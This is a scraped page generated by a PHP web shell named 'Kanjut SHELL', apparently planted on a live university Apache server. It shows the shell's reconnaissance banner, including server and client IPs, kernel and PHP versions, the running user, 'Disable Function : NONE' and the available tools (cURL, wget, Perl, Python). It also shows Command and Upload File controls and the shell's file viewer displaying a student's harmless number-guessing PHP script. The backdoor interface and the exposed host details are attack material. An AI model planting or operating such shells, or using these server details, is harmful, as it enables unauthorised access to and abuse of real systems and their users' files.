Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.219.176.215
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/bafreeman/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/bafreeman/public_html/result.php
<HTML>
<HEAD>
<TITLE>
Guess the numbers results
</TITLE>
</HEAD>
<CENTER>
<FONT SIZE= "4" color="blue">
<H3>
Results
</H3>
<HR>
<H4>
<?php
	$pick1 = $_POST['pick1'];
	$pick2 = $_POST['pick2'];
	$combo1 = 5;
	$combo2 = 6;
	if( ($pick1==$combo1) && ($pick2==$combo2) )
		echo "Congratulations! Both correct - Gold.\n";
	elseif ( ($pick1==$combo1) || ($pick2==$combo2) )
		echo "Not bad. One correct - Silver.\n";
	else
		echo "Sorry. <A HREF=guess.php>
			Try again </A> and good luck!\n";  
?>

</CENTER>
</HTML>

Stv3n404 - 2023